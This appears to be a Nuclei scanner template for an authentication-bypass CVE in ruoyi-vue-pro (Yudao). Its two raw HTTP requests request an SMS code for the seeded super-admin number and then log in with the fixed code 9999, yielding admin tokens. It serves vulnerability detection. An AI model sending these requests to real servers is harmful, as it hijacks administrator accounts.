id: CVE-2026-116006 info: name: Ruoyi-Vue-Pro - Unauthenticated Admin Takeover via Predictable SMS Code author: kosoyyagent severity: critical description: | ruoyi-vue-pro (Yudao) ships base configuration yudao.sms-code.begin-code=end-code=9999, so every generated SMS verification code is the constant "9999" in all profiles. The anonymous SMS-login flow therefore grants an access token to any account whose mobile number is known: send-sms-code followed by sms-login with code 9999 issues a full token, including for the seeded super administrator account (mobile 18818260272 in the shipped SQL). No CAPTCHA hook exists for scene=21 in any profile. impact: | Remote attackers can bypass authentication, potentially gaining unauthorized access to the system. remediation: | Update to the latest version. reference: - https://gist.github.com/Fulucky0-yuri/1ad8a1f166af7cb85c498473753a8636 - https://github.com/YunaiV/ruoyi-vue-pro - https://nvd.nist.gov/vuln/detail/CVE-2026-116006 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N cvss-score: 9.2 cve-id: CVE-2026-116006 cwe-id: CWE-1188,CWE-798 epss-score: 0.00834 epss-percentile: 0.57678 metadata: verified: true max-request: 2 fofa-query: body="ruoyi-vue-pro" tags: cve,cve2026,ruoyi,yudao,auth-bypass http: - raw: - | POST /admin-api/system/auth/send-sms-code HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"mobile":"18818260272","scene":21} - | POST /admin-api/system/auth/sms-login HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"mobile":"18818260272","code":"9999"} cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - 'accessToken":' - 'refreshToken":' condition: and - type: word part: body words: - "\"code\":0" # digest: 490a00463044022070af9f722b142acf67c697b7dccc5adf8a386c0c25ef5194b2efa792d50c22930220324c76eff52ff7accec226e62530ae4b78de8f7a445fe276e313043be8e41bb7:922c64590222798bb761d5b6d8e72950